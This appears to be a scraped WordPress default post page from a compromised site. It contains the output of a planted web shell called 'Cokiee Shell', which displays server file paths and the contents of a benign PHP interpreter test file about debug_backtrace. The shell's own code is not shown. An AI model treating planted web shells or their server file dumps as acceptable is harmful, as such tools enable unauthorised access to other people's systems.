Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/Zend/tests/ |
Current File : //usr/local/src/php7/php-7.0.5/Zend/tests/debug_backtrace_with_include_and_this.phpt |
--TEST-- debug_backtrace segmentation fault with include and error handler --FILE-- <?php class CLWrapper { function stream_open($path, $mode, $options, $opened_path) { return false; } } class CL { public function load($class) { if (!include($class)) { throw new Exception('Failed loading '.$class); } } } stream_wrapper_register('class', 'CLWrapper'); set_error_handler(function($code, $msg, $file, $line) { $bt= debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2); echo "ERR#$code: $msg @ ", $bt[1]['function'], "\n"; }); try { (new CL())->load('class://non.existent.Class'); } catch (CLException $e) { echo $e."\n"; } --EXPECTF-- ERR#2: include(class://non.existent.Class): failed to open stream: "CLWrapper::stream_open" call failed @ include ERR#2: include(): Failed opening 'class://non.existent.Class' for inclusion (include_path='%s') @ include Fatal error: Uncaught Exception: Failed loading class://non.existent.Class in %s Stack trace: #0 %s(%d): CL->load('class://non.exi...') #1 {main} thrown in %s on line %d
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare